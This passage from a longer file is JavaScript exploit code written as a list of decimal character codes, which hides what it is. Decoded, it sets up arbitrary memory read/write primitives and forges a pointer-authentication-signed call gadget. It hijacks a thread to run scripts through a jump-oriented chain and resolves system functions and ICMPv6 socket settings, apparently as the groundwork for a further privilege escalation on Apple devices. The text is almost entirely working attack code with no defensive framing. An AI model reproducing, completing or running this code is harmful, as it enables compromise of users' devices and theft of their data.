120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 114, 119, 56, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 115, 105, 103, 110, 105, 110, 103, 95, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 61, 32, 48, 120, 52, 57, 49, 49, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 115, 105, 103, 110, 101, 100, 95, 102, 99, 97, 108, 108, 95, 97, 100, 100, 114, 32, 61, 32, 112, 97, 99, 105, 98, 40, 106, 115, 118, 109, 95, 105, 115, 78, 65, 78, 95, 102, 99, 97, 108, 108, 95, 103, 97, 100, 103, 101, 116, 44, 32, 115, 105, 103, 110, 105, 110, 103, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 110, 97, 110, 95, 99, 111, 100, 101, 95, 112, 116, 114, 44, 32, 115, 105, 103, 110, 101, 100, 95, 102, 99, 97, 108, 108, 95, 97, 100, 100, 114, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 100, 100, 114, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 109, 101, 109, 99, 112, 121, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 44, 32, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 44, 32, 80, 65, 71, 69, 95, 83, 73, 90, 69, 41, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 51, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 53, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 54, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 55, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 41, 59, 10, 10, 32, 32, 32, 32, 105, 102, 32, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 61, 61, 32, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 115, 105, 103, 110, 97, 116, 117, 114, 101, 32, 61, 32, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 40, 99, 116, 120, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 32, 32, 32, 61, 32, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 40, 105, 110, 118, 111, 107, 101, 95, 99, 108, 97, 115, 115, 44, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 115, 105, 103, 110, 97, 116, 117, 114, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 41, 44, 32, 49, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 99, 116, 120, 41, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 44, 32, 50, 110, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 32, 61, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 40, 110, 115, 116, 104, 114, 101, 97, 100, 95, 99, 108, 97, 115, 115, 41, 59, 10, 32, 32, 32, 32, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 40, 110, 115, 116, 104, 114, 101, 97, 100, 44, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 107, 101, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 40, 110, 115, 116, 104, 114, 101, 97, 100, 41, 59, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 116, 104, 114, 101, 97, 100, 95, 104, 97, 110, 100, 108, 101, 34, 32, 58, 32, 110, 115, 116, 104, 114, 101, 97, 100, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 95, 99, 116, 120, 34, 32, 58, 32, 99, 116, 120, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 34, 32, 58, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 34, 32, 58, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 125, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 40, 106, 115, 95, 116, 104, 114, 101, 97, 100, 41, 10, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 95, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 115, 95, 99, 116, 120, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 116, 104, 114, 101, 97, 100, 95, 104, 97, 110, 100, 108, 101, 34, 93, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 119, 97, 105, 116, 32, 117, 110, 116, 105, 108, 32, 116, 104, 101, 32, 116, 104, 114, 101, 97, 100, 32, 105, 115, 32, 102, 105, 110, 105, 115, 104, 101, 100, 32, 97, 110, 100, 32, 114, 101, 108, 101, 97, 115, 101, 32, 105, 116, 10, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 61, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 110, 115, 116, 104, 114, 101, 97, 100, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 61, 61, 32, 49, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 98, 114, 101, 97, 107, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 110, 115, 116, 104, 114, 101, 97, 100, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 118, 101, 114, 116, 32, 114, 119, 54, 52, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 118, 101, 114, 116, 32, 114, 119, 56, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 108, 101, 97, 115, 101, 32, 106, 115, 32, 99, 111, 110, 116, 101, 120, 116, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 99, 95, 114, 101, 102, 95, 99, 111, 117, 110, 116, 32, 61, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 40, 106, 115, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 102, 111, 114, 32, 40, 108, 101, 116, 32, 105, 32, 61, 32, 48, 110, 59, 32, 105, 32, 60, 32, 106, 115, 99, 95, 114, 101, 102, 95, 99, 111, 117, 110, 116, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 106, 115, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 108, 101, 97, 115, 101, 32, 116, 97, 114, 103, 101, 116, 32, 106, 115, 32, 115, 99, 114, 105, 112, 116, 10, 32, 32, 32, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 102, 114, 101, 101, 32, 106, 111, 112, 32, 99, 104, 97, 105, 110, 32, 112, 114, 111, 112, 101, 114, 116, 105, 101, 115, 10, 32, 32, 32, 32, 102, 114, 101, 101, 40, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 93, 41, 59, 10, 125, 10, 108, 101, 116, 32, 82, 84, 76, 68, 95, 68, 69, 70, 65, 85, 76, 84, 32, 61, 32, 48, 120, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 69, 110, 59, 10, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 65, 78, 89, 87, 72, 69, 82, 69, 32, 61, 32, 49, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 70, 73, 88, 69, 68, 32, 61, 32, 48, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 79, 86, 69, 82, 87, 82, 73, 84, 69, 32, 61, 32, 48, 120, 52, 48, 48, 48, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 82, 65, 78, 68, 79, 77, 95, 65, 68, 68, 82, 32, 61, 32, 56, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 73, 78, 72, 69, 82, 73, 84, 95, 78, 79, 78, 69, 32, 61, 32, 50, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 32, 61, 32, 51, 110, 59, 10, 10, 108, 101, 116, 32, 80, 82, 79, 84, 95, 82, 69, 65, 68, 32, 61, 32, 48, 120, 49, 110, 59, 10, 108, 101, 116, 32, 80, 82, 79, 84, 95, 87, 82, 73, 84, 69, 32, 61, 32, 48, 120, 50, 110, 59, 10, 10, 108, 101, 116, 32, 77, 65, 80, 95, 83, 72, 65, 82, 69, 68, 32, 61, 32, 48, 120, 49, 110, 59, 10, 10, 108, 101, 116, 32, 65, 70, 95, 73, 78, 69, 84, 54, 32, 61, 32, 51, 48, 110, 59, 10, 108, 101, 116, 32, 83, 79, 67, 75, 95, 68, 71, 82, 65, 77, 32, 61, 32, 50, 110, 59, 10, 108, 101, 116, 32, 73, 80, 80, 82, 79, 84, 79, 95, 73, 67, 77, 80, 86, 54, 32, 61, 32, 53, 56, 110, 59, 10, 108, 101, 116, 32, 73, 67, 77, 80, 54, 95, 70, 73, 76, 84, 69, 82, 32, 61, 32, 49, 56, 110, 59, 10, 10, 108, 101, 116, 32, 83, 69, 69, 75, 95, 83, 69, 84, 32, 61, 32, 48, 110, 59, 10, 10, 108, 101, 116, 32, 95, 78, 83, 71, 69, 84, 69, 88, 69, 67, 85, 84, 65, 66, 76, 69, 80, 65, 84, 72, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 95, 78, 83, 71, 101, 116, 69, 120, 101, 99, 117, 116, 97, 98, 108, 101, 80, 97, 116, 104, 34, 41, 59, 10, 108, 101, 116, 32, 65, 67, 67, 69, 83, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 97, 99, 99, 101, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 67, 79, 78, 70, 83, 84, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 111, 110, 102, 115, 116, 114, 34, 41, 59, 10, 108, 101, 116, 32, 70, 67, 78, 84, 76, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 99, 110, 116, 108, 34, 41, 59, 10, 108, 101, 116, 32, 70, 83, 89, 78, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 115, 121, 110, 99, 34, 41, 59, 10, 108, 101, 116, 32, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 70, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 102, 100, 34, 41, 59, 10, 108, 101, 116, 32, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 80, 79, 82, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 112, 111, 114, 116, 34, 41, 59, 10, 108, 101, 116, 32, 70, 79, 80, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 111, 112, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 70, 67, 76, 79, 83, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 99, 108, 111, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 70, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 83, 79, 67, 75, 79, 80, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 115, 111, 99, 107, 111, 112, 116, 34, 41, 59, 10, 108, 101, 116, 32, 76, 83, 69, 69, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 108, 115, 101, 101, 107, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 77, 69, 77, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 109, 101, 109, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 83, 69, 84, 95, 80, 65, 84, 84, 69, 82, 78, 56, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 115, 101, 116, 95, 112, 97, 116, 116, 101, 114, 110, 56, 34, 41, 59, 10, 108, 101, 116, 32, 79, 80, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 112, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 69, 65, 68, 86, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 101, 97, 100, 118, 34, 41, 59, 10, 108, 101, 116, 32, 80, 87, 82, 73, 84, 69, 86, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 119, 114, 105, 116, 101, 118, 34, 41, 59, 10, 108, 101, 116, 32, 80, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 69, 65, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 101, 97, 100, 34, 41, 59, 10, 108, 101, 116, 32, 82, 69, 65, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 114, 101, 97, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 69, 84, 83, 79, 67, 75, 79, 80, 84, 32, 61, 32, 102, 117, 110, 99, 95, 